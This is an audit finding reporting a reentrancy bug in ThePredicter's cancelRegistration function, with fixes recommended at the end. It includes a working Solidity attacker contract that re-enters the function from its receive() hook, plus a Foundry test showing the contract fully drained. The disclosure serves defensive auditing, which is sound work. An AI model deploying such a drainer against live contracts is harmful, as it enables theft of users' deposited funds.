Summary
After a user has registered usingThePredicter::register
with an entranceFee, they can call ThePredicter::cancelRegistration
to get back their entranceFee again. The ThePredicter::cancelRegistration
function is vulnerable to reentrancy attacks.
Vulnerability Details
Place the following contract code in the contracts folder:
pragma solidity 0.8.20;
import {ThePredicter} from "./ThePredicter.sol";
contract EvilContract {
ThePredicter thePredicter;
constructor(address predicterAddr) {
thePredicter = ThePredicter(predicterAddr);
}
function register() public payable {
thePredicter.register{value: msg.value}();
}
function attack() public {
thePredicter.cancelRegistration();
}
receive() external payable {
if (msg.value <= address(thePredicter).balance) {
thePredicter.cancelRegistration();
}
}
}
Then add this test into the test suite ThePredicter.test.sol
:
function test_reentrancyCancelRegistration() public {
uint256 numUsers = 20;
for (uint256 i=0; i<numUsers; i++) {
address usr = address(uint160(100 + i));
vm.startPrank(usr);
vm.deal(usr, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
}
EvilContract evilContract = new EvilContract(address(thePredicter));
vm.deal(address(evilContract), 1 ether);
evilContract.register{value: 0.04 ether}();
assertEq(address(thePredicter).balance, 0.04 ether * numUsers + 0.04 ether);
evilContract.attack();
assertEq(address(thePredicter).balance, 0);
}
Impact
Critical
Tools Used
Foundry. The test suite of the project.
Recommendations
Checks-effects-interactions (CEI) pattern or a non-reentrancy guard by for example OpenZeppelin.